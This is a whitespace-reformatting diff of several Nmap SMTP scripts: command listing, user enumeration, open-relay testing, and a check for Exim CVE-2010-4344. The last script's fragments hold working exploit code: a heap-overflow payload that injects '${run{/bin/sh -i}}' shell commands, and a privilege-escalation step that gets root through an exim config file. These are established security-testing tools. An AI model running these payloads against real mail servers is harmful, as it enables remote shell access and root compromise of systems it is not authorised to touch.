@@ -68,64 +68,64 @@ categories = {"default", "discovery", "safe"}
portrule = shortport.port_or_service({ 25, 465, 587 },
{ "smtp", "smtps", "submission" })
{ "smtp", "smtps", "submission" })
function go(host, port)
local options = {
timeout = 10000,
recv_before = true,
ssl = true,
}
local options = {
timeout = 10000,
recv_before = true,
ssl = true,
}
local domain = stdnse.get_script_args('smtp-commands.domain') or
smtp.get_domain(host)
local domain = stdnse.get_script_args('smtp-commands.domain') or
smtp.get_domain(host)
local result, status = {}
-- Try to connect to server.
local socket, response = smtp.connect(host, port, options)
if not socket then
return false, string.format("Couldn't establish connection on port %i",
port.number)
end
local result, status = {}
-- Try to connect to server.
local socket, response = smtp.connect(host, port, options)
if not socket then
return false, string.format("Couldn't establish connection on port %i",
port.number)
end
status, response = smtp.ehlo(socket, domain)
if not status then
return status, response
end
status, response = smtp.ehlo(socket, domain)
if not status then
return status, response
end
response = string.gsub(response, "250[%-%s]+", "") -- 250 or 250-
response = string.gsub(response, "\r\n", "\n") -- normalize CR LF
response = string.gsub(response, "\n\r", "\n") -- normalize LF CR
response = string.gsub(response, "^\n+(.-)\n+$", "%1")
response = string.gsub(response, "\n", ", ") -- LF to comma
response = string.gsub(response, "250[%-%s]+", "") -- 250 or 250-
response = string.gsub(response, "\r\n", "\n") -- normalize CR LF
response = string.gsub(response, "\n\r", "\n") -- normalize LF CR
response = string.gsub(response, "^\n+(.-)\n+$", "%1")
response = string.gsub(response, "\n", ", ") -- LF to comma
response = string.gsub(response, "%s+", " ") -- get rid of extra spaces
table.insert(result,response)
status, response = smtp.help(socket)
if status then
response = string.gsub(response, "214[%-%s]+", "") -- 214
response = string.gsub(response, "^%s+(.-)%s+$", "%1")
response = string.gsub(response, "%s+", " ") -- get rid of extra spaces
table.insert(result,response)
smtp.quit(socket)
end
status, response = smtp.help(socket)
if status then
response = string.gsub(response, "214[%-%s]+", "") -- 214
response = string.gsub(response, "^%s+(.-)%s+$", "%1")
response = string.gsub(response, "%s+", " ") -- get rid of extra spaces
table.insert(result,response)
smtp.quit(socket)
end
return true, result
return true, result
end
action = function(host, port)
local status, result = go(host, port)
local status, result = go(host, port)
-- The go function returned false, this means that the result is a simple error message.
if not status then
return result
else
if #result > 0 then
local final = {}
for index, test in ipairs(result) do
table.insert(final, test)
end
return stdnse.strjoin("\n ", final)
end
-- The go function returned false, this means that the result is a simple error message.
if not status then
return result
else
if #result > 0 then
local final = {}
for index, test in ipairs(result) do
table.insert(final, test)
end
return stdnse.strjoin("\n ", final)
end
end
end

View File

@@ -54,14 +54,14 @@ categories = {"auth","external","intrusive"}
portrule = shortport.port_or_service({ 25, 465, 587 },
{ "smtp", "smtps", "submission" })
{ "smtp", "smtps", "submission" })
STATUS_CODES = {
ERROR = 1,
NOTPERMITTED = 2,
VALID = 3,
INVALID = 4,
UNKNOWN = 5
ERROR = 1,
NOTPERMITTED = 2,
VALID = 3,
INVALID = 4,
UNKNOWN = 5
}
---Counts the number of occurrences in a table. Helper function
@@ -71,14 +71,14 @@ STATUS_CODES = {
-- @param what What element to count
-- @return Number of occurrences
function table_count(from, what)
local result = 0
local result = 0
for index, item in ipairs(from) do
if item == what then
result = result + 1
end
for index, item in ipairs(from) do
if item == what then
result = result + 1
end
return result
end
return result
end
---Creates a new table from a source without the duplicates. Helper
@@ -87,15 +87,15 @@ end
-- @param from Source table
-- @return New table without the duplicates
function table_unique(from)
local result = {}
local result = {}
for index, item in ipairs(from) do
if (table_count(result, item) == 0) then
result[#result + 1] = item
end
for index, item in ipairs(from) do
if (table_count(result, item) == 0) then
result[#result + 1] = item
end
end
return result
return result
end
---Get the method or methods to be used. If the user didn't specify any
@@ -103,32 +103,32 @@ end
--
-- @return A table containing the methods to try
function get_method()
local result = {}
local result = {}
local methods = stdnse.get_script_args('smtp-enum-users.methods')
if methods and type(methods) == "table" then
-- For each method specified.
for _, method in ipairs(methods) do
-- Are the elements of the argument valid methods.
local upper = string.upper(method)
local methods = stdnse.get_script_args('smtp-enum-users.methods')
if methods and type(methods) == "table" then
-- For each method specified.
for _, method in ipairs(methods) do
-- Are the elements of the argument valid methods.
local upper = string.upper(method)
if (upper == "RCPT") or (upper == "EXPN") or
(upper == "VRFY") then
table.insert(result, upper)
else
return false, method
end
end
if (upper == "RCPT") or (upper == "EXPN") or
(upper == "VRFY") then
table.insert(result, upper)
else
return false, method
end
end
end
-- The methods weren't specified.
if #result == 0 then
result = { "RCPT", "VRFY", "EXPN" }
else
result = table_unique(result)
end
-- The methods weren't specified.
if #result == 0 then
result = { "RCPT", "VRFY", "EXPN" }
else
result = table_unique(result)
end
return true, result
return true, result
end
---Generic function to perform user discovery.
@@ -139,44 +139,44 @@ end
-- @param domain Domain to use in the command
-- @return Status and depending on the code, a error message
function do_gnrc(socket, command, username, domain)
local combinations = {
string.format("%s", username),
string.format("%s@%s", username, domain)
}
local combinations = {
string.format("%s", username),
string.format("%s@%s", username, domain)
}
for index, combination in ipairs(combinations) do
-- Lets try to issue the command.
local status, response = smtp.query(socket, command, combination)
for index, combination in ipairs(combinations) do
-- Lets try to issue the command.
local status, response = smtp.query(socket, command, combination)
-- If this command fails to be sent, then something
-- went wrong with the connection.
if not status then
return STATUS_CODES.ERROR,
string.format("Failed to issue %s %s command (%s)\n",
command, combination, response)
end
if string.match(response, "^530") then
-- If the command failed, check if authentication is
-- needed because all the other attempts will fail.
return STATUS_CODES.AUTHENTICATION
elseif string.match(response, "^502") or
string.match(response, "^252") or
string.match(response, "^550") then
-- The server doesn't implement the command or it is disallowed.
return STATUS_CODES.NOTPERMITTED
elseif smtp.check_reply(command, response) then
-- User accepted.
if nmap.verbosity() > 1 then
return STATUS_CODES.VALID,
string.format("%s, %s", command, username)
else
return STATUS_CODES.VALID, username
end
end
-- If this command fails to be sent, then something
-- went wrong with the connection.
if not status then
return STATUS_CODES.ERROR,
string.format("Failed to issue %s %s command (%s)\n",
command, combination, response)
end
return STATUS_CODES.INVALID
if string.match(response, "^530") then
-- If the command failed, check if authentication is
-- needed because all the other attempts will fail.
return STATUS_CODES.AUTHENTICATION
elseif string.match(response, "^502") or
string.match(response, "^252") or
string.match(response, "^550") then
-- The server doesn't implement the command or it is disallowed.
return STATUS_CODES.NOTPERMITTED
elseif smtp.check_reply(command, response) then
-- User accepted.
if nmap.verbosity() > 1 then
return STATUS_CODES.VALID,
string.format("%s, %s", command, username)
else
return STATUS_CODES.VALID, username
end
end
end
return STATUS_CODES.INVALID
end
---Verify if a username is valid using the EXPN command (wrapper
@@ -187,7 +187,7 @@ end
-- @param domain Domain to use in the command
-- @return Status and depending on the code, a error message
function do_expn(socket, username, domain)
return do_gnrc(socket, "EXPN", username, domain)
return do_gnrc(socket, "EXPN", username, domain)
end
---Verify if a username is valid using the VRFY command (wrapper
@@ -198,7 +198,7 @@ end
-- @param domain Domain to use in the command
-- @return Status and depending on the code, a error message
function do_vrfy(socket, username, domain)
return do_gnrc(socket, "VRFY", username, domain)
return do_gnrc(socket, "VRFY", username, domain)
end
issued_from = false
@@ -214,59 +214,59 @@ issued_from = false
-- @param domain Domain to use in the command
-- @return Status and depending on the code, a error message
function do_rcpt(socket, username, domain)
local status, response
if not issued_from then
local status, response
if not issued_from then
-- Lets try to issue MAIL FROM command.
status, response = smtp.query(socket, "MAIL",
string.format("FROM:<usertest@%s>", domain))
string.format("FROM:<usertest@%s>", domain))
if not status then
-- If this command fails to be sent, then something went wrong
-- with the connection.
return STATUS_CODES.ERROR,
string.format("Failed to issue MAIL FROM:<usertest@%s> command (%s)",
domain, response)
elseif string.match(response, "^530") then
-- If the command failed, check if authentication is needed
-- because all the other attempts will fail.
return STATUS_CODES.ERROR,
"Couldn't perform user enumeration, authentication needed"
elseif not smtp.check_reply("MAIL", response) then
-- Only accept 250 code as success.
return STATUS_CODES.NOTPERMITTED,
"Server did not accept the MAIL FROM command"
end
end
status, response = smtp.query(socket, "RCPT",
string.format("TO:<%s@%s>", username, domain))
if not status then
return STATUS_CODES.ERROR,
string.format("Failed to issue RCPT TO:<%s@%s> command (%s)",
username, domain, response)
elseif string.match(response, "^550") then
-- 550 User Unknown
return STATUS_CODES.UNKNOWN
elseif string.match(response, "^553") then
-- 553 Relaying Denied
return STATUS_CODES.NOTPERMITTED
-- If this command fails to be sent, then something went wrong
-- with the connection.
return STATUS_CODES.ERROR,
string.format("Failed to issue MAIL FROM:<usertest@%s> command (%s)",
domain, response)
elseif string.match(response, "^530") then
-- If the command failed, check if authentication is needed because
-- all the other attempts will fail.
return STATUS_CODES.AUTHENTICATION
elseif smtp.check_reply("RCPT", response) then
issued_from = true
-- User is valid.
if nmap.verbosity() > 1 then
return STATUS_CODES.VALID, string.format("RCPT, %s", username)
else
return STATUS_CODES.VALID, username
end
-- If the command failed, check if authentication is needed
-- because all the other attempts will fail.
return STATUS_CODES.ERROR,
"Couldn't perform user enumeration, authentication needed"
elseif not smtp.check_reply("MAIL", response) then
-- Only accept 250 code as success.
return STATUS_CODES.NOTPERMITTED,
"Server did not accept the MAIL FROM command"
end
end
status, response = smtp.query(socket, "RCPT",
string.format("TO:<%s@%s>", username, domain))
if not status then
return STATUS_CODES.ERROR,
string.format("Failed to issue RCPT TO:<%s@%s> command (%s)",
username, domain, response)
elseif string.match(response, "^550") then
-- 550 User Unknown
return STATUS_CODES.UNKNOWN
elseif string.match(response, "^553") then
-- 553 Relaying Denied
return STATUS_CODES.NOTPERMITTED
elseif string.match(response, "^530") then
-- If the command failed, check if authentication is needed because
-- all the other attempts will fail.
return STATUS_CODES.AUTHENTICATION
elseif smtp.check_reply("RCPT", response) then
issued_from = true
return STATUS_CODES.INVALID
-- User is valid.
if nmap.verbosity() > 1 then
return STATUS_CODES.VALID, string.format("RCPT, %s", username)
else
return STATUS_CODES.VALID, username
end
end
issued_from = true
return STATUS_CODES.INVALID
end
---Script function that does all the work.
@@ -275,108 +275,108 @@ end
-- @param port Target port
-- @return The user accounts or a error message.
function go(host, port)
-- Get the current usernames list from the file.
local status, nextuser = unpwdb.usernames()
-- Get the current usernames list from the file.
local status, nextuser = unpwdb.usernames()
if not status then
return false, "Failed to read the user names database"
if not status then
return false, "Failed to read the user names database"
end
local options = {
timeout = 10000,
recv_before = true,
ssl = true,
}
local domain = stdnse.get_script_args('smtp-enum-users.domain') or
smtp.get_domain(host)
local methods
status, methods = get_method()
if not status then
return false, string.format("Invalid method found, %s", methods)
end
local socket, response = smtp.connect(host, port, options)
-- Failed connection attempt.
if not socket then
return false, string.format("Couldn't establish connection on port %i",
port.number)
end
status, response = smtp.ehlo(socket, domain)
if not status then
return status, response
end
local result = {}
-- This function is used when something goes wrong with
-- the connection. It makes sure that if it found users before
-- the error occurred, they will be returned.
local failure = function(message)
if #result > 0 then
table.insert(result, message)
return true, result
else
return false, message
end
end
-- Get the first user to be tested.
local username = nextuser()
for index, method in ipairs(methods) do
while username do
if method == "RCPT" then
status, response = do_rcpt(socket, username, domain)
elseif method == "VRFY" then
status, response = do_vrfy(socket, username, domain)
elseif method == "EXPN" then
status, response = do_expn(socket, username, domain)
end
if status == STATUS_CODES.NOTPERMITTED then
-- Invalid method. Don't test anymore users with
-- the current method.
break
elseif status == STATUS_CODES.VALID then
-- User found, lets save it.
table.insert(result, response)
elseif status == STATUS_CODES.ERROR then
-- An error occurred with the connection.
return failure(response)
elseif status == STATUS_CODES.AUTHENTICATION then
smtp.quit(socket)
return false, "Couldn't perform user enumeration, authentication needed"
elseif status == STATUS_CODES.INVALID then
table.insert(result,
string.format("Method %s returned a unhandled status code.",
method))
break
end
username = nextuser()
end
local options = {
timeout = 10000,
recv_before = true,
ssl = true,
}
local domain = stdnse.get_script_args('smtp-enum-users.domain') or
smtp.get_domain(host)
local methods
status, methods = get_method()
if not status then
return false, string.format("Invalid method found, %s", methods)
-- No more users to test, don't test with other methods.
if username == nil then
break
end
end
local socket, response = smtp.connect(host, port, options)
-- Failed connection attempt.
if not socket then
return false, string.format("Couldn't establish connection on port %i",
port.number)
end
status, response = smtp.ehlo(socket, domain)
if not status then
return status, response
end
local result = {}
-- This function is used when something goes wrong with
-- the connection. It makes sure that if it found users before
-- the error occurred, they will be returned.
local failure = function(message)
if #result > 0 then
table.insert(result, message)
return true, result
else
return false, message
end
end
-- Get the first user to be tested.
local username = nextuser()
for index, method in ipairs(methods) do
while username do
if method == "RCPT" then
status, response = do_rcpt(socket, username, domain)
elseif method == "VRFY" then
status, response = do_vrfy(socket, username, domain)
elseif method == "EXPN" then
status, response = do_expn(socket, username, domain)
end
if status == STATUS_CODES.NOTPERMITTED then
-- Invalid method. Don't test anymore users with
-- the current method.
break
elseif status == STATUS_CODES.VALID then
-- User found, lets save it.
table.insert(result, response)
elseif status == STATUS_CODES.ERROR then
-- An error occurred with the connection.
return failure(response)
elseif status == STATUS_CODES.AUTHENTICATION then
smtp.quit(socket)
return false, "Couldn't perform user enumeration, authentication needed"
elseif status == STATUS_CODES.INVALID then
table.insert(result,
string.format("Method %s returned a unhandled status code.",
method))
break
end
username = nextuser()
end
-- No more users to test, don't test with other methods.
if username == nil then
break
end
end
smtp.quit(socket)
return true, result
smtp.quit(socket)
return true, result
end
action = function(host, port)
local status, result = go(host, port)
local status, result = go(host, port)
-- The go function returned true, lets check if it
-- didn't found any accounts.
if status and #result == 0 then
return stdnse.format_output(true, "Couldn't find any accounts")
end
-- The go function returned true, lets check if it
-- didn't found any accounts.
if status and #result == 0 then
return stdnse.format_output(true, "Couldn't find any accounts")
end
return stdnse.format_output(true, result)
return stdnse.format_output(true, result)
end

View File

@@ -79,210 +79,210 @@ categories = {"discovery","intrusive","external"}
portrule = shortport.port_or_service({ 25, 465, 587 },
{ "smtp", "smtps", "submission" })
{ "smtp", "smtps", "submission" })
---Gets the user specified parameters to be used in the tests.
--
--@param host Target host (used for the ip parameter default value)
--@return Domain, from, to and ip to be used in the tests
function get_parameters(host)
-- call smtp.get_domain() without the host table to use the
-- 'nmap.scanme.org' host name, we are scanning for open relays.
local domain = stdnse.get_script_args('smtp-open-relay.domain') or
smtp.get_domain()
-- call smtp.get_domain() without the host table to use the
-- 'nmap.scanme.org' host name, we are scanning for open relays.
local domain = stdnse.get_script_args('smtp-open-relay.domain') or
smtp.get_domain()
local from = stdnse.get_script_args('smtp-open-relay.from') or "antispam"
local from = stdnse.get_script_args('smtp-open-relay.from') or "antispam"
local to = stdnse.get_script_args('smtp-open-relay.to') or "relaytest"
local to = stdnse.get_script_args('smtp-open-relay.to') or "relaytest"
local ip = stdnse.get_script_args('smtp-open-relay.ip') or host.ip
local ip = stdnse.get_script_args('smtp-open-relay.ip') or host.ip
return domain, from, to, ip
return domain, from, to, ip
end
function go(host, port)
local options = {
timeout = 10000,
recv_before = true,
ssl = true,
}
local options = {
timeout = 10000,
recv_before = true,
ssl = true,
}
local result, status, index = {}
local result, status, index = {}
local domain, from, to, ip = get_parameters(host)
local domain, from, to, ip = get_parameters(host)
local socket, response = smtp.connect(host, port, options)
if not socket then
return false, string.format("Couldn't establish connection on port %i",
port.number)
local socket, response = smtp.connect(host, port, options)
if not socket then
return false, string.format("Couldn't establish connection on port %i",
port.number)
end
local srvname = string.match(response, "%d+%s([%w]+[%w%.-]*)")
local status, response = smtp.ehlo(socket, domain)
if not status then
return status, response
end
if not srvname then
srvname = string.match(response, "%d+%-([%w]+[%w%.-]*)")
end
-- Antispam tests.
local tests = {
{
from = "",
to = string.format("%s@%s", to, domain)
},
{
from = string.format("%s@%s", from, domain),
to = string.format("%s@%s", to, domain)
},
{
from = string.format("%s@%s", from, srvname),
to = string.format("%s@%s", to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s@%s", to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s%%%s@[%s]", to, domain, ip)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s%%%s@%s", to, domain, srvname)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("\"%s@%s\"", to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("\"%s%%%s\"", to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s@%s@[%s]", to, domain, ip)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("\"%s@%s\"@[%s]", to, domain, ip)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s@%s@%s", to, domain, srvname)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("@[%s]:%s@%s", ip, to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("@%s:%s@%s", srvname, to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s!%s", domain, to)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s!%s@[%s]", domain, to, ip)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s!%s@%s", domain, to, srvname)
},
}
-- This function is used when something goes wrong with the connection.
-- It makes sure that if it found working combinations before the error
-- occurred, they will be returned. If the debug flag is enabled the
-- error message will be appended to the combinations list.
local failure = function(message)
if #result > 0 then
table.insert(result, message)
return true, result
else
return false, message
end
end
local srvname = string.match(response, "%d+%s([%w]+[%w%.-]*)")
local status, response = smtp.ehlo(socket, domain)
for index = 1, #tests do
status, response = smtp.reset(socket)
if not status then
return status, response
if string.match(response, "530") then
return false, "Server isn't an open relay, authentication needed"
end
return failure(response)
end
if not srvname then
srvname = string.match(response, "%d+%-([%w]+[%w%.-]*)")
status, response = smtp.query(socket, "MAIL",
string.format("FROM:<%s>",
tests[index]["from"]))
-- If this command fails to be sent, then something went
-- wrong with the connection.
if not status then
return failure(string.format("Failed to issue %s command (%s)",
tests[index]["from"], response))
end
-- Antispam tests.
local tests = {
{
from = "",
to = string.format("%s@%s", to, domain)
},
{
from = string.format("%s@%s", from, domain),
to = string.format("%s@%s", to, domain)
},
{
from = string.format("%s@%s", from, srvname),
to = string.format("%s@%s", to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s@%s", to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s%%%s@[%s]", to, domain, ip)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s%%%s@%s", to, domain, srvname)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("\"%s@%s\"", to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("\"%s%%%s\"", to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s@%s@[%s]", to, domain, ip)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("\"%s@%s\"@[%s]", to, domain, ip)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s@%s@%s", to, domain, srvname)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("@[%s]:%s@%s", ip, to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("@%s:%s@%s", srvname, to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s!%s", domain, to)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s!%s@[%s]", domain, to, ip)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s!%s@%s", domain, to, srvname)
},
}
if string.match(response, "530") then
smtp.quit(socket)
return false, "Server isn't an open relay, authentication needed"
elseif smtp.check_reply("MAIL", response) then
-- Lets try to actually relay.
status, response = smtp.query(socket, "RCPT",
string.format("TO:<%s>",
tests[index]["to"]))
if not status then
return failure(string.format("Failed to issue %s command (%s)",
tests[index]["to"], response))
end
-- This function is used when something goes wrong with the connection.
-- It makes sure that if it found working combinations before the error
-- occurred, they will be returned. If the debug flag is enabled the
-- error message will be appended to the combinations list.
local failure = function(message)
if #result > 0 then
table.insert(result, message)
return true, result
else
return false, message
end
if string.match(response, "530") then
smtp.quit(socket)
return false, "Server isn't an open relay, authentication needed"
elseif smtp.check_reply("RCPT", response) then
-- Save the working from and to combination.
table.insert(result,
string.format("MAIL FROM:<%s> -> RCPT TO:<%s>",
tests[index]["from"], tests[index]["to"]))
end
end
end
for index = 1, #tests do
status, response = smtp.reset(socket)
if not status then
if string.match(response, "530") then
return false, "Server isn't an open relay, authentication needed"
end
return failure(response)
end
status, response = smtp.query(socket, "MAIL",
string.format("FROM:<%s>",
tests[index]["from"]))
-- If this command fails to be sent, then something went
-- wrong with the connection.
if not status then
return failure(string.format("Failed to issue %s command (%s)",
tests[index]["from"], response))
end
if string.match(response, "530") then
smtp.quit(socket)
return false, "Server isn't an open relay, authentication needed"
elseif smtp.check_reply("MAIL", response) then
-- Lets try to actually relay.
status, response = smtp.query(socket, "RCPT",
string.format("TO:<%s>",
tests[index]["to"]))
if not status then
return failure(string.format("Failed to issue %s command (%s)",
tests[index]["to"], response))
end
if string.match(response, "530") then
smtp.quit(socket)
return false, "Server isn't an open relay, authentication needed"
elseif smtp.check_reply("RCPT", response) then
-- Save the working from and to combination.
table.insert(result,
string.format("MAIL FROM:<%s> -> RCPT TO:<%s>",
tests[index]["from"], tests[index]["to"]))
end
end
end
smtp.quit(socket)
return true, result
smtp.quit(socket)
return true, result
end
action = function(host, port)
local status, result = go(host, port)
local status, result = go(host, port)
-- The go function returned false, this means that the result is
-- a simple error message.
if not status then
return result
else
-- Combinations were found. If verbosity is active, the script
-- will print all the successful tests. Otherwise it will only
-- print the conclusion.
if #result > 0 then
local final = {}
table.insert(final,
string.format("Server is an open relay (%i/16 tests)",
(#result)))
-- The go function returned false, this means that the result is
-- a simple error message.
if not status then
return result
else
-- Combinations were found. If verbosity is active, the script
-- will print all the successful tests. Otherwise it will only
-- print the conclusion.
if #result > 0 then
local final = {}
table.insert(final,
string.format("Server is an open relay (%i/16 tests)",
(#result)))
if nmap.verbosity() > 1 then
for index, test in ipairs(result) do
table.insert(final, test)
end
end
return stdnse.strjoin("\n ", final)
if nmap.verbosity() > 1 then
for index, test in ipairs(result) do
table.insert(final, test)
end
end
return "Server doesn't seem to be an open relay, all tests failed"
return stdnse.strjoin("\n ", final)
end
return "Server doesn't seem to be an open relay, all tests failed"
end
end

View File

@@ -75,7 +75,7 @@ categories = {"exploit", "intrusive", "vuln"}
portrule = shortport.port_or_service({25, 465, 587},
{"smtp", "smtps", "submission"})
{"smtp", "smtps", "submission"})
local function smtp_finish(socket, status, msg)
if socket then
@@ -109,21 +109,21 @@ local function escalate_privs(socket, smtp_opts)
local tmp_file = "/tmp/nmap"..tostring(math.random(0x0FFFFF, 0x7FFFFFFF))
local exim_run = "exim -C"..tmp_file.." -q"
local exim_spool = "spool_directory = \\${run{/bin/sh -c 'id > "..
tmp_file.."' }}"
tmp_file.."' }}"
stdnse.print_debug(2, "%s: trying to escalate privileges",
SCRIPT_NAME)
SCRIPT_NAME)
local status, ret = send_recv(socket, "id\n")
if not status then
return status, ret
end
results = string.format(" Before 'id': %s",
string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1"))
string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1"))
status, ret = send_recv(socket,
string.format("cat > %s << EOF\n",
tmp_file))
string.format("cat > %s << EOF\n",
tmp_file))
if not status then
return status, ret
end
@@ -144,10 +144,10 @@ local function escalate_privs(socket, smtp_opts)
elseif ret:match("uid=0%(root%)") then
exploited = true
results = results..string.format("\n After 'id': %s",
string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1"))
string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1"))
stdnse.print_debug(2,
"%s: successfully exploited the Exim privileges escalation.",
SCRIPT_NAME)
"%s: successfully exploited the Exim privileges escalation.",
SCRIPT_NAME)
end
-- delete tmp file, should we care about this ?
@@ -164,7 +164,7 @@ local function exploit_heap(socket, smtp_opts)
local exploited, ret = false, ""
stdnse.print_debug(2, "%s: exploiting the heap overflow",
SCRIPT_NAME)
SCRIPT_NAME)
local status, response = smtp.mail(socket, smtp_opts.mailfrom)
if not status then
@@ -185,14 +185,14 @@ local function exploit_heap(socket, smtp_opts)
local msg_len, log_buf_size = smtp_opts.size + (1024*256), 8192
local log_buf = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from"
local log_host = string.format("%s(%s)",
smtp_opts.ehlo_host ~= smtp_opts.domain and
smtp_opts.ehlo_host.." " or "",
smtp_opts.domain)
smtp_opts.ehlo_host ~= smtp_opts.domain and
smtp_opts.ehlo_host.." " or "",
smtp_opts.domain)
log_buf = string.format("%s <%s> H=%s [%s]: message too big: "..
"read=%s max=%s\nEnvelope-from: <%s>\nEnvelope-to: <%s>\n",
log_buf, smtp_opts.mailfrom, log_host, smtp_opts.domain_ip,
msg_len, smtp_opts.size, smtp_opts.mailfrom,
smtp_opts.mailto)
"read=%s max=%s\nEnvelope-from: <%s>\nEnvelope-to: <%s>\n",
log_buf, smtp_opts.mailfrom, log_host, smtp_opts.domain_ip,
msg_len, smtp_opts.size, smtp_opts.mailfrom,
smtp_opts.mailto)
log_buf_size = log_buf_size - 3
local filler, hdrs, nmap_hdr = string.rep("X", 8 * 16), "", "NmapHeader"
@@ -221,7 +221,7 @@ local function exploit_heap(socket, smtp_opts)
for fd = 3, 12 do
hdrx = hdrx..
string.format("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}} ",
fd)
fd)
end
end
@@ -231,7 +231,7 @@ local function exploit_heap(socket, smtp_opts)
end
stdnse.print_debug(1, "%s: sending forged mail, size: %dMB",
SCRIPT_NAME, msg_len / (1024*1024))
SCRIPT_NAME, msg_len / (1024*1024))
-- use low socket level functions.
status, ret = socket:send(hdrs)
@@ -279,24 +279,24 @@ local function exploit_heap(socket, smtp_opts)
end
stdnse.print_debug(2, "%s: the forged mail was sent successfully.",
SCRIPT_NAME)
SCRIPT_NAME)
-- second round
status, response = smtp.query(socket, "MAIL",
string.format("FROM:<%s>", smtp_opts.mailfrom))
string.format("FROM:<%s>", smtp_opts.mailfrom))
if not status then
return status, response
end
status, ret = smtp.query(socket, "RCPT",
string.format("TO:<%s>", smtp_opts.mailto))
string.format("TO:<%s>", smtp_opts.mailto))
if not status then
return status, ret
end
if response:match("sh:%s") or ret:match("sh:%s") then
stdnse.print_debug(2,
"%s: successfully exploited the Exim heap overflow.", SCRIPT_NAME)
"%s: successfully exploited the Exim heap overflow.", SCRIPT_NAME)
exploited = "heap-exploited"
end
@@ -314,11 +314,11 @@ local function check_exim(smtp_opts)
local exim_heap_result, exim_priv_result = "", ""
local socket, ret = smtp.connect(smtp_opts.host,
smtp_opts.port,
{ssl = true,
timeout = 8000,
recv_before = true,
lines = 1})
smtp_opts.port,
{ssl = true,
timeout = 8000,
recv_before = true,
lines = 1})
if not socket then
return smtp_finish(nil, socket, ret)
@@ -332,31 +332,31 @@ local function check_exim(smtp_opts)
smtp_server.smtpd = smtp_server.banner:match("Exim")
if smtp_server.smtpd and smtp_server.version then
table.insert(out, 1,
string.format("Exim version: %.02f", smtp_server.version))
string.format("Exim version: %.02f", smtp_server.version))
if smtp_server.version > exim_heap_ver then
exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE",
heap_cve)
heap_cve)
else
exim_heap_result = string.format(" Exim (%s): LIKELY VULNERABLE",
heap_cve)
heap_cve)
end
if smtp_server.version > exim_priv_ver then
exim_priv_result = string.format(" Exim (%s): NOT VULNERABLE",
priv_cve)
priv_cve)
else
exim_priv_result = string.format(" Exim (%s): LIKELY VULNERABLE",
priv_cve)
priv_cve)
end
else
return smtp_finish(socket, true,
'The SMTP server is not Exim: NOT VULNERABLE')
'The SMTP server is not Exim: NOT VULNERABLE')
end
else
return smtp_finish(socket, false,
'failed to read the SMTP banner.')
'failed to read the SMTP banner.')
end
if not smtp_opts.exploit then
@@ -377,7 +377,7 @@ local function check_exim(smtp_opts)
for _, line in pairs(stdnse.strsplit("\r?\n", response)) do
if not smtp_opts.ehlo_host or not smtp_opts.domain_ip then
smtp_opts.ehlo_host, smtp_opts.domain_ip =
line:match("%d+.*Hello%s(.*)%s%[(.*)%]")
line:match("%d+.*Hello%s(.*)%s%[(.*)%]")
end
if not smtp_server.size then
smtp_server.size = line:match("%d+%-SIZE%s(%d+)")
@@ -402,8 +402,8 @@ local function check_exim(smtp_opts)
end
if not smtp_opts.mailto then
smtp_opts.mailto = string.format("postmaster@%s",
smtp_opts.host.targetname and
smtp_opts.host.targetname or 'localhost')
smtp_opts.host.targetname and
smtp_opts.host.targetname or 'localhost')
end
status, ret = exploit_heap(socket, smtp_opts)
@@ -411,20 +411,20 @@ local function check_exim(smtp_opts)
return smtp_finish(nil, status, ret)
elseif ret then
exim_heap_result = string.format(" Exim (%s): VULNERABLE",
heap_cve)
heap_cve)
exim_priv_result = string.format(" Exim (%s): VULNERABLE",
priv_cve)
priv_cve)
if ret:match("exploited") then
-- clear socket
socket:receive_lines(1)
if smtp_opts.shell_cmd then
status, response = send_recv(socket,
string.format("%s\n", smtp_opts.shell_cmd))
string.format("%s\n", smtp_opts.shell_cmd))
if status then
exim_heap_result = exim_heap_result ..
string.format("\n Shell command '%s': %s",
smtp_opts.shell_cmd,
string.gsub(response, "^%$*%s*(.-)\n*%$*$", "%1"))
string.format("\n Shell command '%s': %s",
smtp_opts.shell_cmd,
string.gsub(response, "^%$*%s*(.-)\n*%$*$", "%1"))
end
end
@@ -436,7 +436,7 @@ local function check_exim(smtp_opts)
end
else
exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE",
heap_cve)
heap_cve)
end
table.insert(out, 3, exim_heap_result)
@@ -449,12 +449,12 @@ action = function(host, port)
host = host,
port = port,
domain = stdnse.get_script_args('smtp.domain') or
'nmap.scanme.org',
'nmap.scanme.org',
mailfrom = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailfrom'),
mailto = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailto'),
